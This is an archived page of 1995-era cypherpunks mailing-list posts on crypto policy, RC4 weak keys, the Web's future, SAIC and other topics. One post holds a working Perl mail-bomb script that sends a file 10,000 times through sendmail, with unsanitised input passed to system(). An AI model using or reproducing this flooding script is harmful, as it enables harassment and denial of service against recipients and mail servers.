December 2003 - cypherpunks-legacy

Re:
by James A. Donald 17 Dec '03

17 Dec '03

In addition to being totally off topic and spamming lots of lists, Terra Libra is selling Ponzi schemes and pyramid schemes. This is just "make money fast" elaborately dressed in libertarian rhetoric. At 07:11 AM 9/28/95 +0100, Anonymous wrote: > This is the best description of debt currency I've seen. Debt currency >is today's most effective form of slavery. It is today's American slavery. > > The text is from the book: > > THE ECONOMIC RAPE OF AMERICA > WHAT YOU CAN DO ABOUT IT > >by Frederick Mann of Terra Libra > >The book costs $19.95 plus $2 postage and handling. >It can be ordered from: > >Terra Libra >2430 E. Roosevelt #998 >Phoenix, Az 85008 > --------------------------------------------------------------------- | We have the right to defend ourselves | http://www.jim.com/jamesd/ and our property, because of the kind | of animals that we are. True law | James A. Donald derives from this right, not from the | arbitrary power of the state. | jamesd(a)echeque.com

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Web "places" and the media monsters
by Vladimir Z. Nuri 17 Dec '03

17 Dec '03

below is an interesting excerpt from Boardwatch magazine, which I find to be a good source for internet/web/BBS coverage. it talks about how the Web, to continue its momentum, may evolve into something like BBSes that give the sense of an online community.. also, I recently read a chapter from an upcoming book, I think it was by Negroponte, and he pointed out how the web/gopher servers did not really explode until the introduction of Mosaic and an *image* standard was put into HTML. (to this I would add forms capability-- buttons, etc.) This suggests that the success of the Web is really highly predicated on the easy-to-use interface of Web browsers, and the nice visual presentation given by images etc. in other words, the "hypertext" capabilities, while tremendous, were not necessarily the *key* factors in driving its use, but when coupled with these other ingredients, really pushed it all "over the top". this makes a lot of sense to me. the human being is very visually oriented (large amounts of brain capacity are dedicated to processing images). I think the days of computer programs as "lines of text scrolling up the screen" are increasingly numbered because of this. the easy-to-use GUI will be the model of most future software for a long time. in addition to this, I would add that I suspect that as soon as web pages begin to convey a sense of community (as mentioned in this column), through conferences etc., the growth of the web will increase even more dramatically.. I also continue to believe that "groupware" will prove to be a very important aspect of future web development.. (so I agree with TCM that isolated software packages that do not really integrate with the web to do groupware are going to eventually go extinct). the thoughts in this column also tie in with the recent NYT Levy column in which Levy pointed out how the internet is an entirely new medium for broadcasting in which the individual has total freedom and egalitarianism that cannot be found in any other medium of the past, and that for this reason all the recent frenzied, slobbering media mergers are actually "rearranging the deck chairs on the titanic" (he credits J.Gilmore for this quote, who seems to have an amazing propensity for great soundbites). I agree with this wholeheartedly. the big media conglomerates are going to be quite terrified when they eventually realize that the main thing they are providing is a *distribution channel*, and that these very costly distribution channels are all obsoleted (sorry to verb that word <g>) by the introduction of cyberspace for the masses. artists are free to try to reach the audience in whatever means they see fit; they are no longer dependent on the media machines to make a living. I have talked to various musicians for example who find that they can create their own CDs through individually contracting with various companies and make far more in profit than they can from going with record companies (who shave off enormous amounts of artist profit to feed the machine). an amusing pink floyd song that has a biting satire of a record company executive. "the band is just fantastic!! that's really what I think!! oh by the way, which one's pink?? oh, have you seen the charts?? everyone else is just green!! this could be made into a monster if we all pull together as a TEAM!!" now, I don't believe this means the end of various artistic people and occupations such as producers, directors, etc. however the artist/writer/ whatever suddenly becomes the driving component, the centerpiece, of the entire process. he has the ability to very discriminately decide who he wishes to work "with" (not for!) and who will benefit from his own work and in what way. he is no longer a cog in the machine but in fact the director and driving force of it all. he has the ability to cut out the parasitical middleman like never before (I do think there are many truly *beneficial* middlemen out there to help the artist flourish, and the future will help separate the wheat from the chaff). there are some things that very big companies give you, and one of them is a very big budget. but if this is the only purpose of a big company, than it can almost be seen just as a big investment firm or capital generating machine. this machine will probably continue to exist but will be in an increasingly subservient role to how artists wish to interact with it, IMHO. this can already be seen in how top actors and directors are now setting their own terms like never before. amazingly, as TCM noted in a recent post, industry pundits at one point were actually saying that "hypertext is dead" a few years ago, because no new developments had been made in it and the Ted Nelson Xanadoodoo silliness had never gotten anywhere (despite major bucks thrown at him-- one almost wonders if he set back hypertext, rather than advanced it, but that's another story). this is the amazing lack of vision that most people have about the future, about what consumers are really interested in, and you can see it again noted by Rickard below. at one point huge bucks were being thrown down prototype projects to deliver news through the vertical-blank interval of the television screen, and newspapers thought this would be the "information delivery vehicle of the future". the service flopped. the lesson was not that "hypertext is dead" or "online services are not profitable" (some of the actual conclusions of industry analysts) but that this was not the exact form that the public was interested in. there is a difference that I have emphasized elsewhere about "interactive" vs. "interconnective". the former would refer to a human interacting with computer, like a CD rom game, or hypertext, or whatever. the latter refers to humans interacting with other humans through cyberspace, more directly, more viscerally: email, chat forums, communities, multiplayer games, etc. the latter is the ingredient that is really driving the hyper cyberspatial renaissance, IMHO, and Rickard brings out this point below. (the neat thing about home pages is not so much that they are pretty and visually appealing, but that they are written by your friend Joe Schmoe next door, and highly personalized, quirky and eccentric.) for some of my own investment tips <g>, if you want to invest in companies that understand where the future is going, invest in the ones that understand: 1. anyone should be able to publish on the network. no one (not government, not media company, not internet provider, etc.) is authorized to control others through allowing or denying access, charging exhorbitant taxes, charging exhorbitant overhead, etc. this is not merely a statement of what is desirable, or my own wishful thinking, it's a basic future reality that is already largely formed at this moment. those who don't like it and fight it will simple fail to be competitive and survive over the long run. 2. the content-providers will not have to pay much for the infrastructure to provide their wares. in the past distribution and content could not be separated, and those in control of the former could control the latter. the two have been *cleaved* in the present and the future. the distribution costs for "media" are going to become almost completely negligible in the future. the distribution channels will involve cutthroat competition, and enormous bandwidth for virtually free. 2.5 companies that understand this "cleaving" will prosper. companies that are trying to combine content and delivery don't "get it" and will probably split or die. 3. humans want to "interconnect" with other humans. pretty pages and all that other stuff is great, but it doesn't create the insatiable enthusiasm for being online that "interconnection" does. the future "killer apps" will be increasingly "interconnective, not interactive". 4. increasingly, quality and true artistry will flourish. you will not be able to make a quick buck from crappy material. the public will be able to be very selective. they might be able to buy individual songs from songwriters, individual essays from writers, etc. (through clicking on various web pages). 5. middlemen will become increasingly accountable for what kind of value they are adding to the final product. they will not become obsolete, but will have to justify their cut. the artist will no longer have to sell their soul just to get a record or writing in front of the public. the artist will write their own ticket and set their own standards. the exploitative aspects of the current media machine (which are quite reprehensible and widespread, from what I can tell) are going to be replaced with a "kinder, gentler" approach.. 6. the days of a zillion people watching the same program or listening to the same music are dead. this is much lamented by the media monsters, because this was a big aspect driving their existence. this is not so much a "fragmentation of markets" but actually a "blossoming of individuality". the net will continue to fragment artistic tastes. but individuals will have little problem fulfilling their own tastes. 7. the paradox of all this is that when people are more free to pursue that which interests them in particular, and they are not "homogenized out of existence", the overall organism flourishes. there is nothing to be lamenting in that a thousand people now do not listen to the same music or read the same newspaper or whatever-- this is something to celebrate. it scares people like politicians, who derive much of their power from "homogenization".. but thankfully this is another case where I think the future will separate the healthy from the lame, presuming their is indeed a distinction in this case <g> as you can see, a lot of these points, which may seem pretty obvious to a lot of people here, are fundamentally not understood by today's preening media magnates (which, perhaps, are the entities that *will* become extinct). but it's just fine to let them go on their merry way, you know what they say about fools and money. I don't really have any idea, really, where the massive media mergers are going to go. I certainly am not saying they are going to disappear overnight. one possibility, as I mentioned, is that they would tend to become just huge, competing capital providers. they might turn into sort of "artistic communities", each with a different flavor. if they are going to die, though, the eclipse will certainly be messy as these big monsters go down kicking and screaming, realizing that the delicious lunch they were salivating after was actually sinking in a tar pit. Boardwatch Webwatch column by editor Jack Rickard The World Wide Web has deservedly captured the imagination of the online world. It displays both extraordinary connectivity, in that you can literally hop across continents by clicking the mouse, and a very visually appealing graphical interface. And it probably goes beyond that with the use of audio, videoclips, and more. But it is destined to die in its current form. Through the entire history of the online community, there has been an urge to create pretty screens, have them blessed by lawyers, and presented online for the consumption of the masses, who in theory will each pay a little bit of coin of the realm for the privilege. Literally hundreds of millions of dollars drained into this rathole fantasy before those who created online services began observing what people *wanted* to do online. Visually appealing screens are alway a novelty. But after the novelty wears off, the callers move on. Knight-Ridder provided the most grisly example of this with their failed VIEWTRON service. But they weren't alone. Currently the World Wide Web is in a nearly pure fad phase entirely based on novelty. Amost every site you visit has something new and stunning to offer by way of screen design tricks. But after clicking through the thousands of sites available for a few weeks, almost everyone tires of the game and starts looking for a home. Since most of what the web can do is present information via eye-candy screens, they rarely find one. So they are back to newsgroups and e-mail to keep them occupied. This is not entirely apparent today. The flood of new callers just gaining access is immense. And according to an NTIA study just released, by the end of 1995, nearly half of the population online will have just arrived in 1995. But at some point, webulosis, a hardening of the web, could set in. We don't actually think it will happen. There is enough in the combination of novelty and new blood to keep this in the air for some months. And that may be all that is needed. But for the web to grow beyond pretty screens, bulletin boards or something very like bulletin boards must migrate to the Web and make it truly useful. In other words, web sites must evolve into "places" where there are "people" if they are to continue to be relevent beyond specialty publishing. So our theory is that the Web is going to change into a series of bulletin boards. And bulletin boards, conversely, are going to migrate to the web with all the caller management, local message conferences, and sense of "place" that entails. ... [the article goes on to mention the Whole Earth 'Lectronic Link as a living embodiment of this trend, see http://www.well.com] --Vlad Nuri

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Re: Crypto hardware (was: Using sound cards to accelerate RSA?)
by cman＠communities.com 17 Dec '03

17 Dec '03

>The reason the market for this is weird is the same reason Sun took >the DES chips off its motherboards years ago -- you can't conduct >modern business with the fucked up export regime we are dealing with. > Also, even if national boundaries could be transcended (it's not just the US any more on this score), I'll grant to Tim that server-oriented cryptography h/w isn't going to be a mass-market item. It's going to be a niche market, but it's an _absolutely vital_ niche market if this stuff is going to take off in a big way. I, too, wouldn't invest big bucks in a company that did nothing but server-oriented crypto h/w, but I know that a lot of very good business ideas _won't work at all_ if this stuff doesn't exist. At the same time, there is going to be a very good business in consumer-oriented crypto devices as the problems inherent in using a general purpose computer for storing & processing keys, e-cash, etc. become apparent. I'm leaning away from the less specialized stuff, e.g. "checkbook on a PCMCIA card" and toward general purpose cards like the nat. semi. and telequip stuff. Both of these companies are rumored to be offering server-oriented products in the next couple of quarters to compliment their consumer product lines. The problem with general purpose machines has nothing to do with native processing vs. DSPs, but rather the fact that g.p. machines have mechanical hard drives and don't fit in your pocket. They also tend to house a lot of dubious other software that could get its grubby hands on things. These issues of reliability, portability and security don't affect things like soundcards, which is why native signal processing is likely to win there, but not in the use of crypto to secure valuable transactions.

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RSA's comments on RC4 weak keys
by baldwin 17 Dec '03

17 Dec '03

Well, I seem to be falling into the role of spokesperson for RSA on the net. It gives me something to do other than design reviews and programming. Here is our response to the excellent work that Andrew Roos has been doing on RC4. I am glad that people are looking at RC4 critically. --Bob ----------------------------- September 29, 1995 statement from RSADSI RSA Data Security Inc. has been following the emerging reports of a weakness in certain keys for the RC4 cipher. RSADSI's researchers have been aware of this particular property of the RC4 cipher for over a year. Most ciphers have a property whereby an enormous amount of known plaintext will provide a slight reduction in exhaustive key searching. The linear cryptanalysis of the DES cipher is an well known example of this. Limitations like this in the underlying ciphers are addressed by following sound advice on the design of the overall cryptographic system. Products that include RC4 from RSADSI are not compromised by this attack. Companies that license the BSafe cryptography toolkit have always been given advice that overcomes this limitation of the RC4 cipher, and this is true even for products that were built >before< this specific problem was discovered by the researchers at RSADSI. These researchers also monitor all developments in the field of cryptography and cryptanalysis so they can keep RSADSI's customers appraised relevant developments.

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Re: Electronic junk mail (one solution)
by Ford Prefect 17 Dec '03

17 Dec '03

OK...I know this borders on a "denial of service" attack since it may effect innocent users. How would you like to be the one to explain to your System Administrator that the Megabytes of returned Spam on the disk are yours? I realize that some peoples implementations of Sendmail will tell who your are regardless, so you might have to modify the "system" line for your own tastes. Also you might *not* want to be anon. Please feel free to modify to your own tastes. The delay loop is to space out the load. I also tried it with premail instead of Sendmail and it went thru the remailers just fine. It should be capable of running in the background. Only took 5 minutes to write and a couple of remailers to test. ============================================================ #!/usr/bin/perl print "Who does this go to?: "; chop($name = <STDIN>); print "What is the filename to send?: "; chop($filename = <STDIN>); for ($a=0;$a<100;$a++) { for ($b=0;$b<100;$b++) { system ("/usr/lib/sendmail -f nobody $name < $filename"); for ($x=0;$x<600000;$x++){}; } } ============================================================

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Yet Another "(Fwd) Internet Euro-Clipper"
by tcmay＠got.net 17 Dec '03

17 Dec '03

At 5:12 PM 9/29/95, Peter Trei wrote: >------- Forwarded Message Follows ------- >Date: 20 Sep 1995 12:24:10 GMT >From: rja14(a)cl.cam.ac.uk (Ross Anderson) >Subject: European Governments Agree to Ban Strong Crypto ... The biggest problem I have with this is that this is the third, fourth, or fifth posting of Ross Anderson's piece to this list (maybe I'm counting one or more posts to Cyberia-l). (And others commented on the "Europeans to ban strong crypto" theme about a week ago.) I urge people to read what's on the list and not repost things which have already appeared. If they don't have time to read all of the messages on the list, which is understandable, then they need to be even more careful in posting things. Not to pick on Peter Trei, as this happens all the time, whenever a hot issue appears. With 1000 people on the list, repeated postings and cross-posting spams are getting out of hand. --Tim May ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay(a)got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^756839 | black markets, collapse of governments. "National borders are just speed bumps on the information superhighway."

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Re: SAIC bought InterNic, but who is SAIC? A spook contractor!
by anonymous＠freezone.remailer 17 Dec '03

17 Dec '03

URL: http://www.saic.com/corporate/history/25.html *** About SAIC *** _________________________________________________________________ "SAIC 25 YEARS OF PROGRESS" Founded by a small group of San Diego scientists in 1969, Science Applications International Corporation (SAIC) now ranks as the nation's largest employee-owned high-tech company. With annual revenues of $1.6 billion, SAIC has almost 4,000 employees in San Diego, and about 16,000 employees at more than 250 locations worldwide. SAIC offers broad expertise in technology development and analysis, computer system development and integration, technical support services, and computer hardware and software products. SAIC scientists and engineers work to solve complex technical problems in business areas that include environment, energy, health, transportation and space. Since the beginning, SAIC has been committed to making significant contributions to nationally important programs. Over the past two decades, SAIC technical staff have contributed to clean-up efforts at Three Mile Island and Prince William Sound, to the success of Operation Desert Storm, and to space missions ranging from Voyager to the shuttle flights. The company is helping develop new technology to clean up hazardous waste at Superfund sites, while other scientists are studying global climate and oceanographic changes. In another critical area, SAIC is increasing the quality of patient care while lowering costs by developing an automated patient record system for Department of Defense medical facilities. Today, SAIC generates about 90 percent of its business through federal government contracts, half of which are in the national security area. The company has been transitioning its extensive experience in advanced defense systems and software engineering to benefit civilian programs. For example, SAIC networking capability helps dozens of government agencies share information to fight drug smuggling, and integrates technology that has put a pollution-free bus on the road. Bob Beyster, SAIC's founder and chief executive officer, credits the success of the company to its employee ownership. "The hallmark of SAIC through the years has been the principle that those who contribute to the company should own it, with that ownership proportional to their contribution and performance as much as possible," Beyster says, "SAIC was designed for professional people who want to do superior scientific and technical work, who want to have a stake and a voice in the company's development and direction, and who expect fair rewards for doing excellent work." _________________________________________________________________ Copyright SAIC Home _________________________________________________________________ Last updated on 07-05-95 ---------- URL: http://www.itps.saic.com/websites.htm Other SAIC Web Sites: _________________________________________________________________ Foundation for Enterprise Development SAIC Advanced Technology and Analysis Sector SAIC Aeronautical Systems Operation SAIC Applied Physics Operation SAIC ASDI (SEE Program) SAIC Asset C3I Group SAIC Hampton's Information System SAIC HTTP Server Site SAIC Idaho Falls ID SAIC Ideas Group SAIC Information and Simulation Sciences SAIC Information Technology Group SAIC Information Technology Lab SAIC JSTARS MOT&E Office SAIC @ Langley Research Center SAIC Los Altos SAIC Medical Imaging SAIC @ New Mexico SAIC Open Systems Lab SAIC Security Web Site SAIC Space Sciences SAIC Sterling Heights, Michigan SAIC System Development Operation Center SAIC Systems Engineering SAIC Technology Solution Sector SAIC Telecommunications Information Engineering Organization SAIC Test and Evaluation Group SAICnet Gopher _________________________________________________________________ SAIC-Hosted/Created Sites: Smart Site City of Ridgecrest Homepage

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ESM under ULTRIX?
by dan＠milliways.org 17 Dec '03

17 Dec '03

I'm having some trouble getting ESM to work under DEC Ultrix. Has anyone gotten this to work? My first problem was that Ultrix doesn't understand one of the constants passed to an ioctl. With the help of a Linux box, I got the value of the constant and plugged it in. Now ESM compiles, says randomizing........, then does a carriage return and just dies. Ctrl-C doesn't work, Ctrl-Z doesn't work. Further I know that it's dying somewhere before the ioctl. Anyone one know how to make this work? For reference, > uname -a ULTRIX bigwpi.WPI.EDU 4.5 0 RISC > Dan *************************************************************** #define private public dan(a)milliways.org Worcester Polytechnic Institute and The Restaurant at the End of the Universe ***************************************************************

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Re: SAIC bought InterNic, but who is SAIC? A spook contractor!
by anonymous＠freezone.remailer 17 Dec '03

17 Dec '03

URL: http://opentext.uunet.ca:8080/omw/simplesearch The Open Text Index found 199 pages containing: Science Applications International Corporation.

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Export/import of chips
by John D. Ervin 17 Dec '03

17 Dec '03

I deal with Importers from Taiwen, Hong kong, Korea, and China on a daily basis. Because the deals I get on components is very good... They are name brand and meet FCC Standards when assembled as systems, but when imported as components they are generally worthless, until assembled How is import or export of Encryption related components monitored ?? Microprocessors can be imported and exported, as can boards.. As Junk.... Nobody Checks these shipments ?? Now if some of those boards did encryption/decryption, and they were paired with a processor, They could do some damage.. But when imported and exported as components (ie Electronic Junk) who is to tell what the end usage is really for ?? This is how a Toyota, Datsun, Subaru, etc are really American built and are American Cars..... ------------------------------------------------- jervin(a)netpath.net -------------------------------------------------

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